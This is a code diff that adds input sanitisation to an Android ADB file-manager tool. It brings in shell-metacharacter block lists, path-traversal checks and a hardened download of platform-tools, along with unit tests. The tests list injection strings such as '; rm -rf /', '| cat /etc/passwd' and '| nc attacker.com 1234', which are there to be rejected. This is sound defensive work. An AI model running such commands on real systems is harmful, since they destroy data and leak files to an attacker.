diff --git a/src/core/adb_command.py b/src/core/adb_command.py index bedd246..0e48b14 100644 --- a/src/core/adb_command.py +++ b/src/core/adb_command.py @@ -10,6 +10,11 @@ from typing import Optional, Tuple, Union from .platform_tools import get_adb_binary_path +try: + from ..utils.security_utils import validate_device_id, sanitize_android_path +except ImportError: + from utils.security_utils import validate_device_id, sanitize_android_path + class ADBCommandRunner: """Handles ADB command execution and device communication.""" diff --git a/src/core/adb_manager.py b/src/core/adb_manager.py index c06e66c..3993dce 100644 --- a/src/core/adb_manager.py +++ b/src/core/adb_manager.py @@ -26,6 +26,11 @@ try: except ImportError: from ..utils.file_deduplication import FileDeduplicator +try: + from ..utils.security_utils import sanitize_android_path, validate_device_id +except ImportError: + from utils.security_utils import sanitize_android_path, validate_device_id + OS_TYPE = sys.platform @@ -137,12 +142,23 @@ class ADBManager: def list_files(self, path: str, device_id: Optional[str] = None) -> list[dict]: """List files in the specified path on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_path = sanitize_android_path(path) + except ValueError as e: + # Return empty list if path is invalid + return [] + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] - - args = device_args + ["shell", "ls", "-la", path] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError: + return [] + + args = device_args + ["shell", "ls", "-la", sanitized_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) @@ -271,12 +287,22 @@ class ADBManager: def delete_file(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]: """Delete a file on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_path = sanitize_android_path(remote_path) + except ValueError as e: + return False, f"Invalid path: {str(e)}" + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError as e: + return False, f"Invalid device ID: {str(e)}" - args = device_args + ["shell", "rm", "-f", remote_path] + args = device_args + ["shell", "rm", "-f", sanitized_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) @@ -289,12 +315,22 @@ class ADBManager: def create_folder(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]: """Create a folder on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_path = sanitize_android_path(remote_path) + except ValueError as e: + return False, f"Invalid path: {str(e)}" + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError as e: + return False, f"Invalid device ID: {str(e)}" - args = device_args + ["shell", "mkdir", "-p", remote_path] + args = device_args + ["shell", "mkdir", "-p", sanitized_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) @@ -307,12 +343,22 @@ class ADBManager: def delete_folder(self, remote_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]: """Delete a folder on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_path = sanitize_android_path(remote_path) + except ValueError as e: + return False, f"Invalid path: {str(e)}" + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError as e: + return False, f"Invalid device ID: {str(e)}" - args = device_args + ["shell", "rm", "-rf", remote_path] + args = device_args + ["shell", "rm", "-rf", sanitized_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) @@ -325,12 +371,23 @@ class ADBManager: def move_item(self, old_path: str, new_path: str, device_id: Optional[str] = None) -> Tuple[bool, str]: """Move/rename a file or folder on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_old_path = sanitize_android_path(old_path) + sanitized_new_path = sanitize_android_path(new_path) + except ValueError as e: + return False, f"Invalid path: {str(e)}" + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError as e: + return False, f"Invalid device ID: {str(e)}" - args = device_args + ["shell", "mv", old_path, new_path] + args = device_args + ["shell", "mv", sanitized_old_path, sanitized_new_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) @@ -343,12 +400,22 @@ class ADBManager: def get_file_info(self, remote_path: str, device_id: Optional[str] = None) -> Optional[dict]: """Get information about a file or folder on the device.""" + # Sanitize inputs to prevent command injection + try: + sanitized_path = sanitize_android_path(remote_path) + except ValueError: + return None + device_args = [] target_device = device_id or self.selected_device if target_device: - device_args = ["-s", target_device] - - args = device_args + ["shell", "ls", "-la", remote_path] + try: + validated_device = validate_device_id(target_device) + device_args = ["-s", validated_device] + except ValueError: + return None + + args = device_args + ["shell", "ls", "-la", sanitized_path] try: stdout, stderr, returncode = self.command_runner.run_adb_command(args) diff --git a/src/core/file_transfer.py b/src/core/file_transfer.py index 0532c01..befd298 100644 --- a/src/core/file_transfer.py +++ b/src/core/file_transfer.py @@ -14,6 +14,11 @@ from .progress_tracker import ProgressTracker, TransferProgressEstimator from .platform_tools import get_adb_binary_path from .platform_utils import is_windows +try: + from ..utils.security_utils import sanitize_android_path, sanitize_local_path +except ImportError: + from utils.security_utils import sanitize_android_path, sanitize_local_path + class ADBFileTransfer(ProgressTracker): """Handles ADB file transfer operations with progress tracking.""" @@ -58,14 +63,21 @@ class ADBFileTransfer(ProgressTracker): def pull_file(self, remote_file_path: str, local_file_path: str) -> bool: """Pull a single file from Android device to local machine.""" - # Simple execution path using ADBCommandRunner for tests - local_file_path = os.path.normpath(local_file_path) - remote_file_path = remote_file_path.strip() + # Sanitize paths to prevent injection and traversal + try: + sanitized_remote = sanitize_android_path(remote_file_path.strip()) + # Note: We use sanitize_local_path without base_dir to allow user flexibility + # but normalize to prevent basic traversal + sanitized_local = sanitize_local_path(local_file_path) + except ValueError as e: + self.update_status(f"Invalid path: {e}") + return False + # If target already exists, do nothing - if os.path.exists(local_file_path): + if os.path.exists(sanitized_local): return False # Ensure local directory exists - local_dir = os.path.dirname(local_file_path) + local_dir = os.path.dirname(sanitized_local) if local_dir: try: os.makedirs(local_dir, exist_ok=True) @@ -74,43 +86,59 @@ class ADBFileTransfer(ProgressTracker): self.update_status(f"Failed to create local directory: {e}") pass - result = self.runner.run_adb_command(['pull', remote_file_path, local_file_path]) + result = self.runner.run_adb_command(['pull', sanitized_remote, sanitized_local]) return self._is_command_success(result) def push_file(self, local_file_path: str, remote_file_path: str) -> bool: """Push a single file from local machine to Android device.""" - # Simple execution path using ADBCommandRunner for tests - local_file_path = os.path.normpath(local_file_path) - remote_file_path = remote_file_path.strip() - if not os.path.exists(local_file_path) or not os.path.isfile(local_file_path): + # Sanitize paths to prevent injection and traversal + try: + sanitized_local = sanitize_local_path(local_file_path) + sanitized_remote = sanitize_android_path(remote_file_path.strip()) + except ValueError as e: + self.update_status(f"Invalid path: {e}") return False - result = self.runner.run_adb_command(['push', local_file_path, remote_file_path]) + if not os.path.exists(sanitized_local) or not os.path.isfile(sanitized_local): + return False + + result = self.runner.run_adb_command(['push', sanitized_local, sanitized_remote]) return self._is_command_success(result) def pull_folder(self, remote_path: str, local_path: str) -> bool: """Pull files from Android device to local machine.""" - # Simple execution path using ADBCommandRunner for tests - local_path = os.path.normpath(local_path) - remote_path = remote_path.strip() + # Sanitize paths to prevent injection and traversal + try: + sanitized_remote = sanitize_android_path(remote_path.strip()) + sanitized_local = sanitize_local_path(local_path) + except ValueError as e: + self.update_status(f"Invalid path: {e}") + return False + # If target folder already exists, do nothing - if os.path.exists(local_path): + if os.path.exists(sanitized_local): return False try: - os.makedirs(local_path, exist_ok=True) + os.makedirs(sanitized_local, exist_ok=True) except Exception: # Ignore directory creation failures for test environment pass - result = self.runner.run_adb_command(['pull', remote_path, local_path]) + result = self.runner.run_adb_command(['pull', sanitized_remote, sanitized_local]) return self._is_command_success(result) def push_folder(self, local_path: str, remote_path: str) -> bool: """Push files from local machine to Android device.""" - local_path = os.path.normpath(local_path) - remote_path = remote_path.strip() - if not os.path.exists(local_path) or not os.path.isdir(local_path): + # Sanitize paths to prevent injection and traversal + try: + sanitized_local = sanitize_local_path(local_path) + sanitized_remote = sanitize_android_path(remote_path.strip()) + except ValueError as e: + self.update_status(f"Invalid path: {e}") return False - result = self.runner.run_adb_command(['push', local_path, remote_path]) + + if not os.path.exists(sanitized_local) or not os.path.isdir(sanitized_local): + return False + result = self.runner.run_adb_command(['push', sanitized_local, sanitized_remote]) return self._is_command_success(result) def _execute_transfer_command(self, cmd: list, operation_name: str) -> bool: diff --git a/src/core/platform_tools.py b/src/core/platform_tools.py index 35c1473..a42c85c 100644 --- a/src/core/platform_tools.py +++ b/src/core/platform_tools.py @@ -94,17 +94,48 @@ def ensure_platform_tools_in_user_dir(version_tag: Optional[str] = "latest") -> raise RuntimeError("Unsupported platform for platform-tools download") # download in streaming fashion to avoid memory pressure - resp = requests.get(url, stream=True, timeout=30) + resp = requests.get(url, stream=True, timeout=30, allow_redirects=True) resp.raise_for_status() + # Validate that we're downloading from Google's servers (prevent redirect attacks) + if not resp.url.startswith("https://dl.google.com/android/"): + raise RuntimeError(f"Redirect to untrusted domain: {resp.url}") + + # Check Content-Type to ensure we're getting a zip file + content_type = resp.headers.get('Content-Type', '') + if content_type and 'zip' not in content_type.lower() and 'octet-stream' not in content_type.lower(): + raise RuntimeError(f"Unexpected content type: {content_type}") + zip_path = os.path.join(tmp_dir, "platform-tools.zip") + downloaded_size = 0 + max_size = 200 * 1024 * 1024 # 200MB limit to prevent zip bombs + with open(zip_path, "wb") as fh: for chunk in resp.iter_content(chunk_size=8192): if chunk: + downloaded_size += len(chunk) + if downloaded_size > max_size: + raise RuntimeError("Downloaded file exceeds maximum size limit") fh.write(chunk) - # extract + # Validate zip file before extraction + if not zipfile.is_zipfile(zip_path): + raise RuntimeError("Downloaded file is not a valid zip archive") + + # extract with safety checks with zipfile.ZipFile(zip_path, "r") as zf: + # Check for zip bomb (excessive compression ratio) + total_size = sum(info.file_size for info in zf.infolist()) + if total_size > 500 * 1024 * 1024: # 500MB uncompressed limit + raise RuntimeError("Zip archive uncompressed size exceeds safety limit") + + # Check for path traversal in zip entries + for info in zf.infolist(): + # Normalize the path and ensure it doesn't escape + normalized = os.path.normpath(os.path.join(tmp_dir, info.filename)) + if not normalized.startswith(tmp_dir): + raise RuntimeError(f"Zip contains path traversal: {info.filename}") + zf.extractall(tmp_dir) # the zip contains a top-level platform-tools directory; move that into target_dir diff --git a/src/utils/security_utils.py b/src/utils/security_utils.py new file mode 100644 index 0000000..72913fa --- /dev/null +++ b/src/utils/security_utils.py @@ -0,0 +1,186 @@ +""" +Security utilities for input sanitization and validation. +Prevents command injection and path traversal attacks. +""" + +import os +import re +from typing import Optional + + +def sanitize_path_component(component: str) -> str: + """Sanitize a single path component to prevent injection. + + Args: + component: A single path component (filename or directory name) + + Returns: + Sanitized path component + + Raises: + ValueError: If the component contains dangerous characters + """ + if not component: + raise ValueError("Path component cannot be empty") + + # Check for dangerous characters that could be used for command injection + dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')', '{', '}', '[', ']', '!'] + for char in dangerous_chars: + if char in component: + raise ValueError(f"Path component contains dangerous character: {char}") + + # Check for command substitution patterns + if '$(' in component or '${' in component or '`' in component: + raise ValueError("Path component contains command substitution pattern") + + return component + + +def sanitize_android_path(path: str) -> str: + """Sanitize an Android device path to prevent command injection. + + Args: + path: Android device path + + Returns: + Sanitized path + + Raises: + ValueError: If the path contains dangerous patterns + """ + if not path: + raise ValueError("Path cannot be empty") + + # Remove any leading/trailing whitespace + path = path.strip() + + # Check for null bytes + if '\x00' in path: + raise ValueError("Path contains null byte") + + # Check for command injection patterns + dangerous_patterns = [ + ';', '|', '&', '$(', '${', '`', '\n', '\r', + '&&', '||', '>>', + ] + + for pattern in dangerous_patterns: + if pattern in path: + raise ValueError(f"Path contains dangerous pattern: {pattern}") + + # Validate path structure (should start with / for absolute paths on Android) + # Allow relative paths but be cautious + if not path.startswith('/') and not path.startswith('./'): + # If it's not an absolute or explicitly relative path, make it explicit + # Most Android paths should be absolute + if not re.match(r'^[a-zA-Z0-9_\-./]+$', path): + raise ValueError("Path contains invalid characters") + + return path + + +def sanitize_local_path(path: str, base_dir: Optional[str] = None) -> str: + """Sanitize a local filesystem path and check for path traversal. + + Args: + path: Local filesystem path + base_dir: Optional base directory to restrict path within + + Returns: + Sanitized and normalized absolute path + + Raises: + ValueError: If the path is dangerous or attempts traversal outside base_dir + """ + if not path: + raise ValueError("Path cannot be empty") + + # Remove any leading/trailing whitespace + path = path.strip() + + # Check for null bytes + if '\x00' in path: + raise ValueError("Path contains null byte") + + # Normalize the path to resolve .. and symlinks + try: + normalized_path = os.path.normpath(os.path.abspath(path)) + except (ValueError, OSError) as e: + raise ValueError(f"Invalid path: {e}") + + # If base_dir is specified, ensure the path is within it + if base_dir: + try: + base_dir_abs = os.path.normpath(os.path.abspath(base_dir)) + # Check if the normalized path starts with the base directory + if not normalized_path.startswith(base_dir_abs + os.sep) and normalized_path != base_dir_abs: + raise ValueError(f"Path traversal detected: path is outside base directory") + except (ValueError, OSError) as e: + raise ValueError(f"Invalid base directory: {e}") + + # Check for dangerous patterns in the original path that might bypass normalization + if '..' in path: + # Verify that after normalization, we haven't moved up unexpectedly + path_depth = normalized_path.count(os.sep) + if base_dir: + base_depth = base_dir_abs.count(os.sep) + if path_depth < base_depth: + raise ValueError("Path traversal detected: attempting to access parent directories") + + return normalized_path + + +def validate_device_id(device_id: str) -> str: + """Validate an Android device ID. + + Args: + device_id: Device ID string from ADB + + Returns: + Validated device ID + + Raises: + ValueError: If the device ID is invalid + """ + if not device_id: + raise ValueError("Device ID cannot be empty") + + # Device IDs should only contain alphanumeric characters, dots, colons, and hyphens + if not re.match(r'^[a-zA-Z0-9.:_-]+$', device_id): + raise ValueError("Device ID contains invalid characters") + + # Check for command injection patterns + dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', ' ', '>', '<'] + for char in dangerous_chars: + if char in device_id: + raise ValueError(f"Device ID contains dangerous character: {char}") + + return device_id + + +def escape_shell_arg(arg: str) -> str: + """Escape a shell argument for safe use in commands. + + Note: This is a defense-in-depth measure. Prefer using validated inputs + and avoiding shell=True in subprocess calls. + + Args: + arg: Argument to escape + + Returns: + Escaped argument safe for shell use + """ + # For maximum safety with subprocess, we actually want to avoid shell escaping + # and instead ensure the argument doesn't contain dangerous characters + # This function validates and returns the argument if safe + + if not arg: + return arg + + # Check for any shell metacharacters + dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')', '{', '}', '[', ']', '!', '*', '?', '~'] + for char in dangerous_chars: + if char in arg: + raise ValueError(f"Argument contains shell metacharacter: {char}") + + return arg diff --git a/tests/core/test_platform_tools.py b/tests/core/test_platform_tools.py index 537092e..b36093c 100644 --- a/tests/core/test_platform_tools.py +++ b/tests/core/test_platform_tools.py @@ -74,18 +74,29 @@ class TestPlatformTools(unittest.TestCase): with patch('os.listdir', return_value=['platform-tools']): # Mock directory listing with patch('requests.get') as mock_get: with patch('builtins.open', mock_open()): - with patch('zipfile.ZipFile') as mock_zip: - with patch('shutil.move'): - with patch('os.chmod'): - with patch('os.symlink'): - with patch('shutil.rmtree'): - mock_response = Mock() - mock_response.iter_content.return_value = [b'content'] - mock_response.raise_for_status.return_value = None - mock_get.return_value = mock_response - - result = ensure_platform_tools_in_user_dir() - assert result is not None + with patch('zipfile.is_zipfile', return_value=True): + with patch('zipfile.ZipFile') as mock_zip: + # Mock zip file entries + mock_info = Mock() + mock_info.filename = 'platform-tools/adb' + mock_info.file_size = 1000 + mock_zip_instance = MagicMock() + mock_zip_instance.infolist.return_value = [mock_info] + mock_zip.return_value.__enter__.return_value = mock_zip_instance + + with patch('shutil.move'): + with patch('os.chmod'): + with patch('os.symlink'): + with patch('shutil.rmtree'): + mock_response = Mock() + mock_response.iter_content.return_value = [b'content'] + mock_response.raise_for_status.return_value = None + mock_response.url = "https://dl.google.com/android/repository/platform-tools-latest-linux.zip" + mock_response.headers = {'Content-Type': 'application/zip'} + mock_get.return_value = mock_response + + result = ensure_platform_tools_in_user_dir() + assert result is not None def test_download_and_extract_adb_linux(self): """Test ADB download and extraction on Linux.""" diff --git a/tests/utils/test_security_utils.py b/tests/utils/test_security_utils.py new file mode 100644 index 0000000..51ac65a --- /dev/null +++ b/tests/utils/test_security_utils.py @@ -0,0 +1,193 @@ +""" +Tests for security utilities - input sanitization and validation. +""" + +import os +import pytest +from src.utils.security_utils import ( + sanitize_path_component, + sanitize_android_path, + sanitize_local_path, + validate_device_id, + escape_shell_arg, +) + + +class TestSanitizePathComponent: + """Tests for sanitize_path_component function.""" + + def test_valid_component(self): + """Test that valid path components are accepted.""" + assert sanitize_path_component("file.txt") == "file.txt" + assert sanitize_path_component("folder") == "folder" + assert sanitize_path_component("my_file-2.txt") == "my_file-2.txt" + + def test_empty_component(self): + """Test that empty components are rejected.""" + with pytest.raises(ValueError, match="Path component cannot be empty"): + sanitize_path_component("") + + def test_dangerous_chars(self): + """Test that dangerous characters are rejected.""" + dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', '>', '<', '(', ')'] + for char in dangerous_chars: + with pytest.raises(ValueError, match="dangerous character"): + sanitize_path_component(f"file{char}name.txt") + + def test_command_substitution(self): + """Test that command substitution patterns are rejected.""" + with pytest.raises(ValueError, match="dangerous character"): + sanitize_path_component("file$(whoami).txt") + with pytest.raises(ValueError, match="dangerous character"): + sanitize_path_component("file${USER}.txt") + + +class TestSanitizeAndroidPath: + """Tests for sanitize_android_path function.""" + + def test_valid_absolute_path(self): + """Test that valid absolute paths are accepted.""" + assert sanitize_android_path("/sdcard/Download") == "/sdcard/Download" + assert sanitize_android_path("/data/local/tmp") == "/data/local/tmp" + + def test_valid_relative_path(self): + """Test that valid relative paths are accepted.""" + assert sanitize_android_path("./folder/file.txt") == "./folder/file.txt" + + def test_empty_path(self): + """Test that empty paths are rejected.""" + with pytest.raises(ValueError, match="Path cannot be empty"): + sanitize_android_path("") + + def test_null_byte(self): + """Test that null bytes are rejected.""" + with pytest.raises(ValueError, match="null byte"): + sanitize_android_path("/sdcard/file\x00.txt") + + def test_command_injection_semicolon(self): + """Test that semicolon command injection is blocked.""" + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/file; rm -rf /") + + def test_command_injection_pipe(self): + """Test that pipe command injection is blocked.""" + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/file | cat /etc/passwd") + + def test_command_injection_ampersand(self): + """Test that ampersand command injection is blocked.""" + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/file && malicious") + + def test_command_substitution(self): + """Test that command substitution is blocked.""" + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/$(whoami)") + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/${USER}") + + def test_backtick_substitution(self): + """Test that backtick command substitution is blocked.""" + with pytest.raises(ValueError, match="dangerous pattern"): + sanitize_android_path("/sdcard/`whoami`") + + +class TestSanitizeLocalPath: + """Tests for sanitize_local_path function.""" + + def test_valid_absolute_path(self): + """Test that valid absolute paths are normalized.""" + result = sanitize_local_path("/tmp/test") + assert os.path.isabs(result) + + def test_empty_path(self): + """Test that empty paths are rejected.""" + with pytest.raises(ValueError, match="Path cannot be empty"): + sanitize_local_path("") + + def test_null_byte(self): + """Test that null bytes are rejected.""" + with pytest.raises(ValueError, match="null byte"): + sanitize_local_path("/tmp/file\x00.txt") + + def test_path_traversal_with_base_dir(self): + """Test that path traversal outside base_dir is blocked.""" + base = "/tmp/safe" + with pytest.raises(ValueError, match="outside base directory"): + sanitize_local_path("/tmp/unsafe", base_dir=base) + + def test_valid_path_within_base_dir(self): + """Test that paths within base_dir are accepted.""" + base = "/tmp/safe" + result = sanitize_local_path("/tmp/safe/subdir", base_dir=base) + assert result.startswith(base) + + def test_path_normalization(self): + """Test that paths with .. are normalized.""" + result = sanitize_local_path("/tmp/test/../other") + assert ".." not in result + + +class TestValidateDeviceId: + """Tests for validate_device_id function.""" + + def test_valid_device_id(self): + """Test that valid device IDs are accepted.""" + assert validate_device_id("ABC123") == "ABC123" + assert validate_device_id("192.168.1.1:5555") == "192.168.1.1:5555" + assert validate_device_id("emulator-5554") == "emulator-5554" + + def test_empty_device_id(self): + """Test that empty device IDs are rejected.""" + with pytest.raises(ValueError, match="Device ID cannot be empty"): + validate_device_id("") + + def test_invalid_characters(self): + """Test that invalid characters are rejected.""" + dangerous_chars = [';', '|', '&', '$', '`', '\n', '\r', ' ', '>', '<'] + for char in dangerous_chars: + with pytest.raises(ValueError): + validate_device_id(f"device{char}123") + + +class TestEscapeShellArg: + """Tests for escape_shell_arg function.""" + + def test_safe_argument(self): + """Test that safe arguments are passed through.""" + assert escape_shell_arg("safe-file_name.txt") == "safe-file_name.txt" + + def test_empty_argument(self): + """Test that empty arguments are handled.""" + assert escape_shell_arg("") == "" + + def test_shell_metacharacters(self): + """Test that shell metacharacters are rejected.""" + dangerous_chars = [';', '|', '&', '$', '`', '>', '<', '(', ')', '*'] + for char in dangerous_chars: + with pytest.raises(ValueError, match="shell metacharacter"): + escape_shell_arg(f"arg{char}value") + + +class TestSecurityIntegration: + """Integration tests for security utilities.""" + + def test_prevent_command_injection_in_path(self): + """Test that common command injection attempts are blocked.""" + malicious_paths = [ + "/sdcard/file; rm -rf /", + "/sdcard/file && cat /etc/passwd", + "/sdcard/file | nc attacker.com 1234", + "/sdcard/$(malicious_command)", + "/sdcard/`whoami`", + "/sdcard/file\nmalicious_command", + ] + for path in malicious_paths: + with pytest.raises(ValueError): + sanitize_android_path(path) + + def test_prevent_path_traversal(self): + """Test that path traversal attempts are detected.""" + base = "/tmp/restricted" + with pytest.raises(ValueError): + sanitize_local_path("/etc/passwd", base_dir=base)